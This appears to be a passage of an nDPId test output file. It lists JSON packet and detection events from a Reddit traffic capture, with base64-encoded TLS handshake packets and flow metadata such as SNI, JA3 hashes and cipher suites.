+00456{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":744,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":147569,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9o6MM8\/sl7sRgBALMEF0AAABAQgKwtc486l05jA="} +00455{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":147569,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8oSMQPLg8c6GgBALMDaGAAABAQgKwtc486l05jA="} +00438{"flow_id":9,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":746,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":147580,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCLKYABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PoBu\/q4ZTIAAAAAUAQAABtOAAA="} +00437{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":748,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":147586,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gBOdWABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PYBu+yXuxEAAAAAUAQAANOTAAA="} +00437{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":749,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":147588,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gC3zdABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PIBu+DxzoYAAAAAUAQAAMvIAAA="} +01862{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":751,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":148836,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDA6Vo\/ls46ULgBgLMJ4IAAABAQgKwtc49Kl05isWAwMAUgIAAE4DA3LV+7rRezLkKqyC7L9\/cEwHhlnEuCDIWqUrb5kwUceFAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMKxgsACsIACr8ABiEwggYdMIIFBaADAgECAhAEgViJFaGeLQYINHLA9fqAMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMGQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjESMBAGA1UEAwwJKi5yZWRkLml0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqqajbv6yxoBUUP7z4hqGEBqUxkIuxIANvgy2sKGAl3jE9LNe9bbgB7FzCPhrmyFURkVvYbXfU9co9q2RsG\/ZLID9oD7cnc4wYj8f5M0Wj7sE4dcOBfT1mL+rKP75s+BKfKTkPZTCKgxJREHiw9NQlhB9n7EhNiUvWmZIAm5zbikqjIrLNp5RC9MOYKZw5cvDcfEExtW47V0qsenFicT1Vp4offkEkRTUZQHa8ZDesXcX4X8FcQ4SffgFPYEu5soxUH5p1gEVUzzt1qKIQ3VpkM9Z1uyEjunxQhHxNgkslvXaUfxNo4vt8AtlnyIrqudEvXm1BoqY1Q95KpDrm7iWCQIDAQABo4IC4DCCAtwwHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0LOHG2eIwHQYDVR0OBBYEFF5jqSI83X0TAAcKFOfiu1j5R516MB0GA1UdEQQWMBSCB3JlZGQuaXSCCSoucmVkZC5pdDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBG"} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":751,"source":"reddit.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":7,"flow_first_seen":1605291686064,"flow_last_seen":1605291686148,"flow_tot_l4_data_len":1805,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":257,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56588,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01875{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":752,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":148836,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDA6VqBFs46ULgBgLMLUVAAABAQgKwtc49Kl05isGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXQrSmdiAAAEAwBHMEUCIQD\/04ygSe1MYzrJpdTwrQK9Sjx\/tAOekyn8ZwUHe438MQIgQeoxYr6dp9e0Vi2BfTgg\/tx7yoUBr46n4mPgngP1Cg8AdQBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXQrSmd+AAAEAwBGMEQCIDQ+4afNmJ6Lq7tcDFhWE5ZRcYt+T8eRVv9HNhRXleMaAiAfvoxXCpDvg3ksn\/DbvlHRhWsdVwta6mdmCm+pp0EQLDANBgkqhkiG9w0BAQsFAAOCAQEAAG3CaPVDekrOfzw6f0I5v2tWlY1xVwLUq3mWKiYqkY13PT0BCSJhi4Wr05nryv4hM2tTgWfXEYy5thizGRFQU2k2\/UwaR1tWB7k6icplfD0Ga+hHuMA1ioLo\/9dpR90j3inuZOlew5NI2+DUxJoSXlo3H8MbyO5DP\/ctl49WhW+y0JaR0mw+Wsni\/W0+ctk2wp4ac\/lpLbD1iXAOjwpg\/HHz0VF8T8dgjOGW64yvr1ftmXr2UumO7tbZmf00WJprBjlf4hclLVDLtjreq8DhsjB3cf\/gLzGIz0xtBET1KwumlL4Vmay44nBXCrqr3Ucoup6L8umjZP\/gUQ4QuW1ijwAEmDCCBJQwggN8oAMCAQICEAH9o+tuynXIiEOLckvPvJEwDQYJKoZIhvcNAQELBQAwYTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEgMB4GA1UEAxMXRGlnaUNlcnQgR2xvYmFsIFJvb3QgQ0EwHhcNMTMwMzA4MTIwMDAwWhcNMjMwMzA4MTIwMDAwWjBNMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5EaWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDcrliQTcHEMBWQNVtuPIIV9SxcvePb\/3FD+mQlgNTuGKJN8GbQCnNuEZg2F2SvN539+kGEr8evjP4ac03PM5eQopaHU4MruaZ1SC0dVjd72jEyGtesqwb0ql1Lt0dG3SqTw5AueYCA7xMEahQ7tZuSvsIHZU782vz\/eq7cXH5VMQzoOQek"} +00455{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":753,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":148836,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8oSMQPLg8c6GgBELMDaEAAABAQgKwtc49Kl05jA="} +01871{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":754,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":148836,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDA6VrCls46ULgBgLMPNnAAABAQgKwtc49Kl05ivXvi\/TC2rSsd9f\/ld0Uzs1gN2ujkSYs58O09rg1\/RrKatEp0tYhG2SS4HD2nOLEpdIkARFdRrdNzGXkujNVA075ME\/OV4uuPNcfhCOhkEAjUVmR7ChZc6gqikJTvOX6+guqw9ypzAO+sf0\/RR3w6RbKFfCs\/mC\/bdFWJsCAwEAAaOCAVowggFWMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMHsGA1UdHwR0MHIwN6A1oDOGMWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1oDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzhxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEBCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq\/sELfeNqzqPlt\/yGFUzZgTHbO7Djc1lGA8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls\/3HB40f\/1LkAtDdC2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPitc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0j6tJLp07kzQoH3jOlOrHvdPJbRzeXDLzFgMDAd8WAAHbAQAB1zCCAdMKAQCgggHMMIIByAYJKwYBBQUHMAEBBIIBuTCCAbUwgZ6iFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIYDzIwMjAxMTEyMTIyMDU2WjBzMHEwSTAJBgUrDgMCGgUABBQQX6Z6gAidtSefNc6DC0OInqPHDQQUD4BhHIIxYdUvKOeNRji0LOHG2eICEASBWIkVoZ4tBgg0csD1+oCAABgPMjAyMDExMTIxMjIwNTZaoBEYDzIwMjAxMTE5MTEzNTU2WjANBgkqhkiG9w0BAQsFAAOCAQEAbwsD5QK4DQ9xfMkiwjwxyTNXlhdZjg2N8vB\/PaYfH1XoDJdlWGVbnA8TWdbHQAFf+6hb2yCXT2PrEc5rtmuJ6qsC"} +01141{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":754,"source":"reddit.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":9,"flow_first_seen":1605291686064,"flow_last_seen":1605291686148,"flow_tot_l4_data_len":3965,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":440,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56588,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","server_names":"redd.it,*.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redd.it","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"3D:15:31:F3:94:55:33:92:88:5C:61:40:B0:FD:ED:27:6D:29:3A:12"}} +01144{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":755,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":148837,"pkt_caplen":590,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":590,"pkt_l4_len":536,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAhgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDA6VsEFs46ULgBgLMGUfAAABAQgKwtc49Kl05itkRhvz1enisus+n+JtTFh5SwLPqnsNQGg3iOJYoXp+wF91pGTE\/3x+aQOXjrcYJPujSbXof\/sNWsX0Ch+B\/eKgUux4+l+H6D2B4ET1JbSLEEOr9ZWpS3RJvElVNKQUtc6UiHPg\/2caAWll+fY5HO0LlKfS0\/+z66ZGktG+DgAoy7TfLapyN4\/YD\/XHQTfVf+ymrIBkogrdwK2UAhWm9rWt7ALq5xFuJyf0ZlOeEe+6ePGSg5v4hVg3I0eT4d0tFgMDASwMAAEoAwAdIKjIfdNB+Xj\/xUSylt58OAv3rIjdUPkIhQAKY9xqDo4yCAQBAE+tQV47PDWyW\/jPbVae0n926H+33P2dhwyJMYdEtd3vXUusGY1Sf4\/fwnOPpAmVyiTQmhlgyOzBntrsQI2jHfVbMwpgwyfcThx95sEwKki0ToIwd2wl2GnhphTQ\/lNIy9+hA4QbkmtVW9EOdHXBVDo+4Gh07K91JF64MWKqikri5f82ieaxHm+xMwv+dY2CsWtcgeuV4pmfkotqFwOkyrd45TA77Z1NQaA3L9nzQ7KACm0Texz9IfpLQGJypgpz3YBo7rPAxod2zOyccGyhTwYh7X34qDo60\/rykpF2jklkFP63v1zxdn8NVHCRQoTcEasL\/2jJbhbN7dlmp6tVLC4WAwMABA4AAAA="} +00438{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":759,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":148847,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCsXSABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QwBu2zjpQsAAAAAUAQAAGk4AAA="} +00437{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":760,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":148850,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gC3zdABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PIBu+DxzoYAAAAAUAQAAMvIAAA="} +00458{"flow_id":10,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":768,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":156143,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/KfiWkPFkleygBALMIv+AAABAQgKwtc4\/al05jA="} +00455{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":180561,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdELkPzETbiYO3gBALMMaaAAABAQgKwtc5Dal05kU="} +00455{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":805,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":180589,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDvdaN0qUbYJ5gBALMGWmAAABAQgKwtc5DKl05kY="} +01869{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":807,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182404,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdELkPzETbiYO3gBgLMIxUAAABAQgKwtc5D6l05kUWAwMAUgIAAE4DAxsH5Gr\/GOMCsJtej1E0tk+78j\/7\/hT\/7PU4cddWmy9\/AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK4AsACtwACtkABjswggY3MIIFH6ADAgECAhAFIKnDRQdHRLlD27uwkl6dMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA3MjcwMDAwMDBaFw0yMTAxMjMxMjAwMDBaMGwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEaMBgGA1UEAwwRKi5yZWRkaXRtZWRpYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDUojedwLTSEzrq4UnD96Vw+K+bJzRlpdlGvp1emryD5RL1HNtyibc7bG5WSKWQj4rEXUPCrd7J9KEcoktu\/T\/zKnwBbK1YjqeYT7crnAcYwaOzJK+2WaVgkNLH46oD9ybxNIQiHXSZQ7Ot1nzKMSML5qvJDWE93Oca5W4JzWXBeHxjaWh1pvFML\/h9KONNL2F6v8fl2QkupSKhrdBMUYrUJQ7T7Xayr9QDWUwAYkELYvTZAHxC2NJEKB\/W8Txb\/aVDvxW0ugRtMT23SQiJB3o2exzRkgcVXSsUUyBNZi0HwERQ8wVGtvniGjIdCo1za+WiS39m7ranLPgJ4gJ0ghVtAgMBAAGjggLyMIIC7jAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUM5hgnYdqs+t4ZIcAf5Oj81X67dYwLQYDVR0RBCYwJIIRKi5yZWRkaXRtZWRpYS5jb22CD3JlZGRpdG1lZGlhLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0"} +00888{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":807,"source":"reddit.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":6,"flow_first_seen":1605291686084,"flow_last_seen":1605291686182,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56592,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"emoji.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01872{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":808,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182405,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdELkP0FzbiYO3gBgLMFHDAAABAQgKwtc5D6l05kV0cDovL29jc3AuZGlnaWNlcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXOQZCKCAAAEAwBHMEUCIAherbIi6ZyHzb3QX5+4\/MlQsJrfbT9XT60YNwXvs\/FkAiEAwb6FWwmkC64YkR7Z3GfczyoO1X+DuWs1z\/cJf1mGmRAAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXOQZCKuAAAEAwBIMEYCIQCNJnMx30MdQpcsqt\/W+zrckQM+XjK6x44S461Ih+FOwgIhAKbBLZjqonCb3DAhfmp8tsmJH+X3MizzOAQP3yn5uVQ5MA0GCSqGSIb3DQEBCwUAA4IBAQBCDMeIm2uPoixPwoutZHrrGFzfNJEXLQk54PkRo2woDSpR3o0sLrpMXiyWx6H0MMNDjCQCbMH2ymQA6oTDSulICMxnonBHGBAiFWQ4yFy2iFOaonss\/jw9Dn15iyoLKitvtvJLO9YtEqX7BhpUXB+aGzE35RE3PNE7a9BSnYdTRBdwcbTm4\/GUaX3HC2LiAXQA2DAltxNjiE72Zxrfz9Ebt1FNjsFnx0Ah1ZbnA1MIHFvgmyPuvrAyEw9PR6UdJmEHtOv18OslcdpyIt5b11k6XZhXnFrHzfU77INW6\/\/S6hVNtvk1bBdMuvkLXzN88BKcp9k9\/9vFc9yzgrbsBbZxAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bdKpPDkC55gIDvEwRq"} +01869{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":809,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182405,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdELkP1HTbiYO3gBgLMJv4AAABAQgKwtc5D6l05kUUO7Wbkr7CB2VO\/Nr8\/3qu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAO